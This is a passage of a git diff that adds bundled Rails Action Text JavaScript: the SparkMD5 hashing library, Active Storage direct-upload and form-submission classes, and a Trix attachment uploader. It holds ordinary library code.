+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[10] - 1094730640 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (b ^ c ^ d) + k[13] + 681279174 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[0] - 358537222 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[3] - 722521979 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[6] + 76029189 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (b ^ c ^ d) + k[9] - 640364487 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[12] - 421815835 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[15] + 530742520 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[2] - 995338651 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (c ^ (b | ~d)) + k[0] - 198630844 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[7] + 1126891415 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[14] - 1416354905 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[5] - 57434055 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      a += (c ^ (b | ~d)) + k[12] + 1700485571 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[3] - 1894986606 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[10] - 1051523 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[1] - 2054922799 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      a += (c ^ (b | ~d)) + k[8] + 1873313359 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[15] - 30611744 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[6] - 1560198380 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[13] + 1309151649 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      a += (c ^ (b | ~d)) + k[4] - 145523070 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[11] - 1120210379 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[2] + 718787259 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[9] - 343485551 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      x[0] = a + x[0] | 0;
+      x[1] = b + x[1] | 0;
+      x[2] = c + x[2] | 0;
+      x[3] = d + x[3] | 0;
+    }
+    function md5blk(s) {
+      var md5blks = [], i;
+      for (i = 0; i < 64; i += 4) {
+        md5blks[i >> 2] = s.charCodeAt(i) + (s.charCodeAt(i + 1) << 8) + (s.charCodeAt(i + 2) << 16) + (s.charCodeAt(i + 3) << 24);
+      }
+      return md5blks;
+    }
+    function md5blk_array(a) {
+      var md5blks = [], i;
+      for (i = 0; i < 64; i += 4) {
+        md5blks[i >> 2] = a[i] + (a[i + 1] << 8) + (a[i + 2] << 16) + (a[i + 3] << 24);
+      }
+      return md5blks;
+    }
+    function md51(s) {
+      var n = s.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+      for (i = 64; i <= n; i += 64) {
+        md5cycle(state, md5blk(s.substring(i - 64, i)));
+      }
+      s = s.substring(i - 64);
+      length = s.length;
+      tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= s.charCodeAt(i) << (i % 4 << 3);
+      }
+      tail[i >> 2] |= 128 << (i % 4 << 3);
+      if (i > 55) {
+        md5cycle(state, tail);
+        for (i = 0; i < 16; i += 1) {
+          tail[i] = 0;
+        }
+      }
+      tmp = n * 8;
+      tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+      lo = parseInt(tmp[2], 16);
+      hi = parseInt(tmp[1], 16) || 0;
+      tail[14] = lo;
+      tail[15] = hi;
+      md5cycle(state, tail);
+      return state;
+    }
+    function md51_array(a) {
+      var n = a.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+      for (i = 64; i <= n; i += 64) {
+        md5cycle(state, md5blk_array(a.subarray(i - 64, i)));
+      }
+      a = i - 64 < n ? a.subarray(i - 64) : new Uint8Array(0);
+      length = a.length;
+      tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= a[i] << (i % 4 << 3);
+      }
+      tail[i >> 2] |= 128 << (i % 4 << 3);
+      if (i > 55) {
+        md5cycle(state, tail);
+        for (i = 0; i < 16; i += 1) {
+          tail[i] = 0;
+        }
+      }
+      tmp = n * 8;
+      tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+      lo = parseInt(tmp[2], 16);
+      hi = parseInt(tmp[1], 16) || 0;
+      tail[14] = lo;
+      tail[15] = hi;
+      md5cycle(state, tail);
+      return state;
+    }
+    function rhex(n) {
+      var s = "", j;
+      for (j = 0; j < 4; j += 1) {
+        s += hex_chr[n >> j * 8 + 4 & 15] + hex_chr[n >> j * 8 & 15];
+      }
+      return s;
+    }
+    function hex(x) {
+      var i;
+      for (i = 0; i < x.length; i += 1) {
+        x[i] = rhex(x[i]);
+      }
+      return x.join("");
+    }
+    if (hex(md51("hello")) !== "5d41402abc4b2a76b9719d911017c592") ;
+    if (typeof ArrayBuffer !== "undefined" && !ArrayBuffer.prototype.slice) {
+      (function() {
+        function clamp(val, length) {
+          val = val | 0 || 0;
+          if (val < 0) {
+            return Math.max(val + length, 0);
+          }
+          return Math.min(val, length);
+        }
+        ArrayBuffer.prototype.slice = function(from, to) {
+          var length = this.byteLength, begin = clamp(from, length), end = length, num, target, targetArray, sourceArray;
+          if (to !== undefined$1) {
+            end = clamp(to, length);
+          }
+          if (begin > end) {
+            return new ArrayBuffer(0);
+          }
+          num = end - begin;
+          target = new ArrayBuffer(num);
+          targetArray = new Uint8Array(target);
+          sourceArray = new Uint8Array(this, begin, num);
+          targetArray.set(sourceArray);
+          return target;
+        };
+      })();
+    }
+    function toUtf8(str) {
+      if (/[\u0080-\uFFFF]/.test(str)) {
+        str = unescape(encodeURIComponent(str));
+      }
+      return str;
+    }
+    function utf8Str2ArrayBuffer(str, returnUInt8Array) {
+      var length = str.length, buff = new ArrayBuffer(length), arr = new Uint8Array(buff), i;
+      for (i = 0; i < length; i += 1) {
+        arr[i] = str.charCodeAt(i);
+      }
+      return returnUInt8Array ? arr : buff;
+    }
+    function arrayBuffer2Utf8Str(buff) {
+      return String.fromCharCode.apply(null, new Uint8Array(buff));
+    }
+    function concatenateArrayBuffers(first, second, returnUInt8Array) {
+      var result = new Uint8Array(first.byteLength + second.byteLength);
+      result.set(new Uint8Array(first));
+      result.set(new Uint8Array(second), first.byteLength);
+      return returnUInt8Array ? result : result.buffer;
+    }
+    function hexToBinaryString(hex) {
+      var bytes = [], length = hex.length, x;
+      for (x = 0; x < length - 1; x += 2) {
+        bytes.push(parseInt(hex.substr(x, 2), 16));
+      }
+      return String.fromCharCode.apply(String, bytes);
+    }
+    function SparkMD5() {
+      this.reset();
+    }
+    SparkMD5.prototype.append = function(str) {
+      this.appendBinary(toUtf8(str));
+      return this;
+    };
+    SparkMD5.prototype.appendBinary = function(contents) {
+      this._buff += contents;
+      this._length += contents.length;
+      var length = this._buff.length, i;
+      for (i = 64; i <= length; i += 64) {
+        md5cycle(this._hash, md5blk(this._buff.substring(i - 64, i)));
+      }
+      this._buff = this._buff.substring(i - 64);
+      return this;
+    };
+    SparkMD5.prototype.end = function(raw) {
+      var buff = this._buff, length = buff.length, i, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], ret;
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= buff.charCodeAt(i) << (i % 4 << 3);
+      }
+      this._finish(tail, length);
+      ret = hex(this._hash);
+      if (raw) {
+        ret = hexToBinaryString(ret);
+      }
+      this.reset();
+      return ret;
+    };
+    SparkMD5.prototype.reset = function() {
+      this._buff = "";
+      this._length = 0;
+      this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+      return this;
+    };
+    SparkMD5.prototype.getState = function() {
+      return {
+        buff: this._buff,
+        length: this._length,
+        hash: this._hash.slice()
+      };
+    };
+    SparkMD5.prototype.setState = function(state) {
+      this._buff = state.buff;
+      this._length = state.length;
+      this._hash = state.hash;
+      return this;
+    };
+    SparkMD5.prototype.destroy = function() {
+      delete this._hash;
+      delete this._buff;
+      delete this._length;
+    };
+    SparkMD5.prototype._finish = function(tail, length) {
+      var i = length, tmp, lo, hi;
+      tail[i >> 2] |= 128 << (i % 4 << 3);
+      if (i > 55) {
+        md5cycle(this._hash, tail);
+        for (i = 0; i < 16; i += 1) {
+          tail[i] = 0;
+        }
+      }
+      tmp = this._length * 8;
+      tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+      lo = parseInt(tmp[2], 16);
+      hi = parseInt(tmp[1], 16) || 0;
+      tail[14] = lo;
+      tail[15] = hi;
+      md5cycle(this._hash, tail);
+    };
+    SparkMD5.hash = function(str, raw) {
+      return SparkMD5.hashBinary(toUtf8(str), raw);
+    };
+    SparkMD5.hashBinary = function(content, raw) {
+      var hash = md51(content), ret = hex(hash);
+      return raw ? hexToBinaryString(ret) : ret;
+    };
+    SparkMD5.ArrayBuffer = function() {
+      this.reset();
+    };
+    SparkMD5.ArrayBuffer.prototype.append = function(arr) {
+      var buff = concatenateArrayBuffers(this._buff.buffer, arr, true), length = buff.length, i;
+      this._length += arr.byteLength;
+      for (i = 64; i <= length; i += 64) {
+        md5cycle(this._hash, md5blk_array(buff.subarray(i - 64, i)));
+      }
+      this._buff = i - 64 < length ? new Uint8Array(buff.buffer.slice(i - 64)) : new Uint8Array(0);
+      return this;
+    };
+    SparkMD5.ArrayBuffer.prototype.end = function(raw) {
+      var buff = this._buff, length = buff.length, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], i, ret;
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= buff[i] << (i % 4 << 3);
+      }
+      this._finish(tail, length);
+      ret = hex(this._hash);
+      if (raw) {
+        ret = hexToBinaryString(ret);
+      }
+      this.reset();
+      return ret;
+    };
+    SparkMD5.ArrayBuffer.prototype.reset = function() {
+      this._buff = new Uint8Array(0);
+      this._length = 0;
+      this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+      return this;
+    };
+    SparkMD5.ArrayBuffer.prototype.getState = function() {
+      var state = SparkMD5.prototype.getState.call(this);
+      state.buff = arrayBuffer2Utf8Str(state.buff);
+      return state;
+    };
+    SparkMD5.ArrayBuffer.prototype.setState = function(state) {
+      state.buff = utf8Str2ArrayBuffer(state.buff, true);
+      return SparkMD5.prototype.setState.call(this, state);
+    };
+    SparkMD5.ArrayBuffer.prototype.destroy = SparkMD5.prototype.destroy;
+    SparkMD5.ArrayBuffer.prototype._finish = SparkMD5.prototype._finish;
+    SparkMD5.ArrayBuffer.hash = function(arr, raw) {
+      var hash = md51_array(new Uint8Array(arr)), ret = hex(hash);
+      return raw ? hexToBinaryString(ret) : ret;
+    };
+    return SparkMD5;
+  }));
+})(sparkMd5);
+
+var SparkMD5 = sparkMd5.exports;
+
+const fileSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice;
+
+class FileChecksum {
+  static create(file, callback) {
+    const instance = new FileChecksum(file);
+    instance.create(callback);
+  }
+  constructor(file) {
+    this.file = file;
+    this.chunkSize = 2097152;
+    this.chunkCount = Math.ceil(this.file.size / this.chunkSize);
+    this.chunkIndex = 0;
+  }
+  create(callback) {
+    this.callback = callback;
+    this.md5Buffer = new SparkMD5.ArrayBuffer;
+    this.fileReader = new FileReader;
+    this.fileReader.addEventListener("load", (event => this.fileReaderDidLoad(event)));
+    this.fileReader.addEventListener("error", (event => this.fileReaderDidError(event)));
+    this.readNextChunk();
+  }
+  fileReaderDidLoad(event) {
+    this.md5Buffer.append(event.target.result);
+    if (!this.readNextChunk()) {
+      const binaryDigest = this.md5Buffer.end(true);
+      const base64digest = btoa(binaryDigest);
+      this.callback(null, base64digest);
+    }
+  }
+  fileReaderDidError(event) {
+    this.callback(`Error reading ${this.file.name}`);
+  }
+  readNextChunk() {
+    if (this.chunkIndex < this.chunkCount || this.chunkIndex == 0 && this.chunkCount == 0) {
+      const start = this.chunkIndex * this.chunkSize;
+      const end = Math.min(start + this.chunkSize, this.file.size);
+      const bytes = fileSlice.call(this.file, start, end);
+      this.fileReader.readAsArrayBuffer(bytes);
+      this.chunkIndex++;
+      return true;
+    } else {
+      return false;
+    }
+  }
+}
+
+function getMetaValue(name) {
+  const element = findElement(document.head, `meta[name="${name}"]`);
+  if (element) {
+    return element.getAttribute("content");
+  }
+}
+
+function findElements(root, selector) {
+  if (typeof root == "string") {
+    selector = root;
+    root = document;
+  }
+  const elements = root.querySelectorAll(selector);
+  return toArray(elements);
+}
+
+function findElement(root, selector) {
+  if (typeof root == "string") {
+    selector = root;
+    root = document;
+  }
+  return root.querySelector(selector);
+}
+
+function dispatchEvent(element, type, eventInit = {}) {
+  const {disabled: disabled} = element;
+  const {bubbles: bubbles, cancelable: cancelable, detail: detail} = eventInit;
+  const event = document.createEvent("Event");
+  event.initEvent(type, bubbles || true, cancelable || true);
+  event.detail = detail || {};
+  try {
+    element.disabled = false;
+    element.dispatchEvent(event);
+  } finally {
+    element.disabled = disabled;
+  }
+  return event;
+}
+
+function toArray(value) {
+  if (Array.isArray(value)) {
+    return value;
+  } else if (Array.from) {
+    return Array.from(value);
+  } else {
+    return [].slice.call(value);
+  }
+}
+
+class BlobRecord {
+  constructor(file, checksum, url, customHeaders = {}) {
+    this.file = file;
+    this.attributes = {
+      filename: file.name,
+      content_type: file.type || "application/octet-stream",
+      byte_size: file.size,
+      checksum: checksum
+    };
+    this.xhr = new XMLHttpRequest;
+    this.xhr.open("POST", url, true);
+    this.xhr.responseType = "json";
+    this.xhr.setRequestHeader("Content-Type", "application/json");
+    this.xhr.setRequestHeader("Accept", "application/json");
+    this.xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+    Object.keys(customHeaders).forEach((headerKey => {
+      this.xhr.setRequestHeader(headerKey, customHeaders[headerKey]);
+    }));
+    const csrfToken = getMetaValue("csrf-token");
+    if (csrfToken != undefined) {
+      this.xhr.setRequestHeader("X-CSRF-Token", csrfToken);
+    }
+    this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+    this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+  }
+  get status() {
+    return this.xhr.status;
+  }
+  get response() {
+    const {responseType: responseType, response: response} = this.xhr;
+    if (responseType == "json") {
+      return response;
+    } else {
+      return JSON.parse(response);
+    }
+  }
+  create(callback) {
+    this.callback = callback;
+    this.xhr.send(JSON.stringify({
+      blob: this.attributes
+    }));
+  }
+  requestDidLoad(event) {
+    if (this.status >= 200 && this.status < 300) {
+      const {response: response} = this;
+      const {direct_upload: direct_upload} = response;
+      delete response.direct_upload;
+      this.attributes = response;
+      this.directUploadData = direct_upload;
+      this.callback(null, this.toJSON());
+    } else {
+      this.requestDidError(event);
+    }
+  }
+  requestDidError(event) {
+    this.callback(`Error creating Blob for "${this.file.name}". Status: ${this.status}`);
+  }
+  toJSON() {
+    const result = {};
+    for (const key in this.attributes) {
+      result[key] = this.attributes[key];
+    }
+    return result;
+  }
+}
+
+class BlobUpload {
+  constructor(blob) {
+    this.blob = blob;
+    this.file = blob.file;
+    const {url: url, headers: headers} = blob.directUploadData;
+    this.xhr = new XMLHttpRequest;
+    this.xhr.open("PUT", url, true);
+    this.xhr.responseType = "text";
+    for (const key in headers) {
+      this.xhr.setRequestHeader(key, headers[key]);
+    }
+    this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+    this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+  }
+  create(callback) {
+    this.callback = callback;
+    this.xhr.send(this.file.slice());
+  }
+  requestDidLoad(event) {
+    const {status: status, response: response} = this.xhr;
+    if (status >= 200 && status < 300) {
+      this.callback(null, response);
+    } else {
+      this.requestDidError(event);
+    }
+  }
+  requestDidError(event) {
+    this.callback(`Error storing "${this.file.name}". Status: ${this.xhr.status}`);
+  }
+}
+
+let id = 0;
+
+class DirectUpload {
+  constructor(file, url, delegate, customHeaders = {}) {
+    this.id = ++id;
+    this.file = file;
+    this.url = url;
+    this.delegate = delegate;
+    this.customHeaders = customHeaders;
+  }
+  create(callback) {
+    FileChecksum.create(this.file, ((error, checksum) => {
+      if (error) {
+        callback(error);
+        return;
+      }
+      const blob = new BlobRecord(this.file, checksum, this.url, this.customHeaders);
+      notify(this.delegate, "directUploadWillCreateBlobWithXHR", blob.xhr);
+      blob.create((error => {
+        if (error) {
+          callback(error);
+        } else {
+          const upload = new BlobUpload(blob);
+          notify(this.delegate, "directUploadWillStoreFileWithXHR", upload.xhr);
+          upload.create((error => {
+            if (error) {
+              callback(error);
+            } else {
+              callback(null, blob.toJSON());
+            }
+          }));
+        }
+      }));
+    }));
+  }
+}
+
+function notify(object, methodName, ...messages) {
+  if (object && typeof object[methodName] == "function") {
+    return object[methodName](...messages);
+  }
+}
+
+class DirectUploadController {
+  constructor(input, file) {
+    this.input = input;
+    this.file = file;
+    this.directUpload = new DirectUpload(this.file, this.url, this);
+    this.dispatch("initialize");
+  }
+  start(callback) {
+    const hiddenInput = document.createElement("input");
+    hiddenInput.type = "hidden";
+    hiddenInput.name = this.input.name;
+    this.input.insertAdjacentElement("beforebegin", hiddenInput);
+    this.dispatch("start");
+    this.directUpload.create(((error, attributes) => {
+      if (error) {
+        hiddenInput.parentNode.removeChild(hiddenInput);
+        this.dispatchError(error);
+      } else {
+        hiddenInput.value = attributes.signed_id;
+      }
+      this.dispatch("end");
+      callback(error);
+    }));
+  }
+  uploadRequestDidProgress(event) {
+    const progress = event.loaded / event.total * 90;
+    if (progress) {
+      this.dispatch("progress", {
+        progress: progress
+      });
+    }
+  }
+  get url() {
+    return this.input.getAttribute("data-direct-upload-url");
+  }
+  dispatch(name, detail = {}) {
+    detail.file = this.file;
+    detail.id = this.directUpload.id;
+    return dispatchEvent(this.input, `direct-upload:${name}`, {
+      detail: detail
+    });
+  }
+  dispatchError(error) {
+    const event = this.dispatch("error", {
+      error: error
+    });
+    if (!event.defaultPrevented) {
+      alert(error);
+    }
+  }
+  directUploadWillCreateBlobWithXHR(xhr) {
+    this.dispatch("before-blob-request", {
+      xhr: xhr
+    });
+  }
+  directUploadWillStoreFileWithXHR(xhr) {
+    this.dispatch("before-storage-request", {
+      xhr: xhr
+    });
+    xhr.upload.addEventListener("progress", (event => this.uploadRequestDidProgress(event)));
+    xhr.upload.addEventListener("loadend", (() => {
+      this.simulateResponseProgress(xhr);
+    }));
+  }
+  simulateResponseProgress(xhr) {
+    let progress = 90;
+    const startTime = Date.now();
+    const updateProgress = () => {
+      const elapsed = Date.now() - startTime;
+      const estimatedResponseTime = this.estimateResponseTime();
+      const responseProgress = Math.min(elapsed / estimatedResponseTime, 1);
+      progress = 90 + responseProgress * 9;
+      this.dispatch("progress", {
+        progress: progress
+      });
+      if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+        requestAnimationFrame(updateProgress);
+      }
+    };
+    xhr.addEventListener("loadend", (() => {
+      this.dispatch("progress", {
+        progress: 100
+      });
+    }));
+    requestAnimationFrame(updateProgress);
+  }
+  estimateResponseTime() {
+    const fileSize = this.file.size;
+    const MB = 1024 * 1024;
+    if (fileSize < MB) {
+      return 1e3;
+    } else if (fileSize < 10 * MB) {
+      return 2e3;
+    } else {
+      return 3e3 + fileSize / MB * 50;
+    }
+  }
+}
+
+const inputSelector = "input[type=file][data-direct-upload-url]:not([disabled])";
+
+class DirectUploadsController {
+  constructor(form) {
+    this.form = form;
+    this.inputs = findElements(form, inputSelector).filter((input => input.files.length));
+  }
+  start(callback) {
+    const controllers = this.createDirectUploadControllers();
+    const startNextController = () => {
+      const controller = controllers.shift();
+      if (controller) {
+        controller.start((error => {
+          if (error) {
+            callback(error);
+            this.dispatch("end");
+          } else {
+            startNextController();
+          }
+        }));
+      } else {
+        callback();
+        this.dispatch("end");
+      }
+    };
+    this.dispatch("start");
+    startNextController();
+  }
+  createDirectUploadControllers() {
+    const controllers = [];
+    this.inputs.forEach((input => {
+      toArray(input.files).forEach((file => {
+        const controller = new DirectUploadController(input, file);
+        controllers.push(controller);
+      }));
+    }));
+    return controllers;
+  }
+  dispatch(name, detail = {}) {
+    return dispatchEvent(this.form, `direct-uploads:${name}`, {
+      detail: detail
+    });
+  }
+}
+
+const processingAttribute = "data-direct-uploads-processing";
+
+const submitButtonsByForm = new WeakMap;
+
+let started = false;
+
+function start() {
+  if (!started) {
+    started = true;
+    document.addEventListener("click", didClick, true);
+    document.addEventListener("submit", didSubmitForm, true);
+    document.addEventListener("ajax:before", didSubmitRemoteElement);
+  }
+}
+
+function didClick(event) {
+  const button = event.target.closest("button, input");
+  if (button && button.type === "submit" && button.form) {
+    submitButtonsByForm.set(button.form, button);
+  }
+}
+
+function didSubmitForm(event) {
+  handleFormSubmissionEvent(event);
+}
+
+function didSubmitRemoteElement(event) {
+  if (event.target.tagName == "FORM") {
+    handleFormSubmissionEvent(event);
+  }
+}
+
+function handleFormSubmissionEvent(event) {
+  const form = event.target;
+  if (form.hasAttribute(processingAttribute)) {
+    event.preventDefault();
+    return;
+  }
+  const controller = new DirectUploadsController(form);
+  const {inputs: inputs} = controller;
+  if (inputs.length) {
+    event.preventDefault();
+    form.setAttribute(processingAttribute, "");
+    inputs.forEach(disable);
+    controller.start((error => {
+      form.removeAttribute(processingAttribute);
+      if (error) {
+        inputs.forEach(enable);
+      } else {
+        submitForm(form);
+      }
+    }));
+  }
+}
+
+function submitForm(form) {
+  let button = submitButtonsByForm.get(form) || findElement(form, "input[type=submit], button[type=submit]");
+  if (button) {
+    const {disabled: disabled} = button;
+    button.disabled = false;
+    button.focus();
+    button.click();
+    button.disabled = disabled;
+  } else {
+    button = document.createElement("input");
+    button.type = "submit";
+    button.style.display = "none";
+    form.appendChild(button);
+    button.click();
+    form.removeChild(button);
+  }
+  submitButtonsByForm.delete(form);
+}
+
+function disable(input) {
+  input.disabled = true;
+}
+
+function enable(input) {
+  input.disabled = false;
+}
+
+function autostart() {
+  if (window.ActiveStorage) {
+    start();
+  }
+}
+
+setTimeout(autostart, 1);
+
+class AttachmentUpload {
+  constructor(attachment, element, file = attachment.file) {
+    this.attachment = attachment;
+    this.element = element;
+    this.directUpload = new DirectUpload(file, this.directUploadUrl, this);
+    this.file = file;
+  }
+  start() {
+    return new Promise(((resolve, reject) => {
+      this.directUpload.create(((error, attributes) => this.directUploadDidComplete(error, attributes, resolve, reject)));
+      this.dispatch("start");
+    }));
+  }
+  directUploadWillStoreFileWithXHR(xhr) {
+    xhr.upload.addEventListener("progress", (event => {
+      const progress = event.loaded / event.total * 90;
+      if (progress) {
+        this.dispatch("progress", {
+          progress: progress
+        });
+      }
+    }));
+    xhr.upload.addEventListener("loadend", (() => {
+      this.simulateResponseProgress(xhr);
+    }));
+  }
+  simulateResponseProgress(xhr) {
+    let progress = 90;
+    const startTime = Date.now();
+    const updateProgress = () => {
+      const elapsed = Date.now() - startTime;
+      const estimatedResponseTime = this.estimateResponseTime();
+      const responseProgress = Math.min(elapsed / estimatedResponseTime, 1);
+      progress = 90 + responseProgress * 9;
+      this.dispatch("progress", {
+        progress: progress
+      });
+      if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+        requestAnimationFrame(updateProgress);
+      }
+    };
+    xhr.addEventListener("loadend", (() => {
+      this.dispatch("progress", {
+        progress: 100
+      });
+    }));
+    requestAnimationFrame(updateProgress);
+  }
+  estimateResponseTime() {
+    const fileSize = this.file.size;
+    const MB = 1024 * 1024;
+    if (fileSize < MB) {
+      return 1e3;
+    } else if (fileSize < 10 * MB) {
+      return 2e3;
+    } else {
+      return 3e3 + fileSize / MB * 50;
+    }
+  }
+  directUploadDidComplete(error, attributes, resolve, reject) {
+    if (error) {
+      this.dispatchError(error, reject);
+    } else {
+      resolve({
+        sgid: attributes.attachable_sgid,
+        url: this.createBlobUrl(attributes.signed_id, attributes.filename)
+      });
+      this.dispatch("end");
+    }
+  }
+  createBlobUrl(signedId, filename) {
+    return this.blobUrlTemplate.replace(":signed_id", signedId).replace(":filename", encodeURIComponent(filename));
+  }
+  dispatch(name, detail = {}) {
+    detail.attachment = this.attachment;
+    return dispatchEvent(this.element, `direct-upload:${name}`, {
+      detail: detail
+    });
+  }
+  dispatchError(error, reject) {
+    const event = this.dispatch("error", {
+      error: error
+    });
+    if (!event.defaultPrevented) {
+      reject(error);
+    }
+  }
+  get directUploadUrl() {
+    return this.element.dataset.directUploadUrl;
+  }
+  get blobUrlTemplate() {
+    return this.element.dataset.blobUrlTemplate;
+  }
+}
+
+addEventListener("trix-attachment-add", (event => {
+  const {attachment: attachment, target: target} = event;
+  if (attachment.file) {
+    const upload = new AttachmentUpload(attachment, target, attachment.file);
+    const onProgress = event => attachment.setUploadProgress(event.detail.progress);
+    target.addEventListener("direct-upload:progress", onProgress);
+    upload.start().then((attributes => attachment.setAttributes(attributes))).catch((error => alert(error))).finally((() => target.removeEventListener("direct-upload:progress", onProgress)));
+  }
+}));
+
+export { AttachmentUpload };
diff --git a/actiontext/app/assets/javascripts/actiontext.js b/actiontext/app/assets/javascripts/actiontext.js
new file mode 100644
index 0000000000000..8de57d54fe345
--- /dev/null
+++ b/actiontext/app/assets/javascripts/actiontext.js
@@ -0,0 +1,965 @@
+(function(global, factory) {
+  typeof exports === "object" && typeof module !== "undefined" ? factory(exports) : typeof define === "function" && define.amd ? define([ "exports" ], factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, 
+  factory(global.ActionText = {}));
+})(this, (function(exports) {
+  "use strict";
+  var sparkMd5 = {
+    exports: {}
+  };
+  (function(module, exports) {
+    (function(factory) {
+      {
+        module.exports = factory();
+      }
+    })((function(undefined$1) {
+      var hex_chr = [ "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" ];
+      function md5cycle(x, k) {
+        var a = x[0], b = x[1], c = x[2], d = x[3];
+        a += (b & c | ~b & d) + k[0] - 680876936 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[1] - 389564586 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[2] + 606105819 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[3] - 1044525330 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & c | ~b & d) + k[4] - 176418897 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[5] + 1200080426 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[6] - 1473231341 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[7] - 45705983 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & c | ~b & d) + k[8] + 1770035416 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[9] - 1958414417 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[10] - 42063 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[11] - 1990404162 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & c | ~b & d) + k[12] + 1804603682 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[13] - 40341101 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[14] - 1502002290 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[15] + 1236535329 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & d | c & ~d) + k[1] - 165796510 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[6] - 1069501632 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[11] + 643717713 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[0] - 373897302 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b & d | c & ~d) + k[5] - 701558691 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[10] + 38016083 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[15] - 660478335 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[4] - 405537848 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b & d | c & ~d) + k[9] + 568446438 | 0;
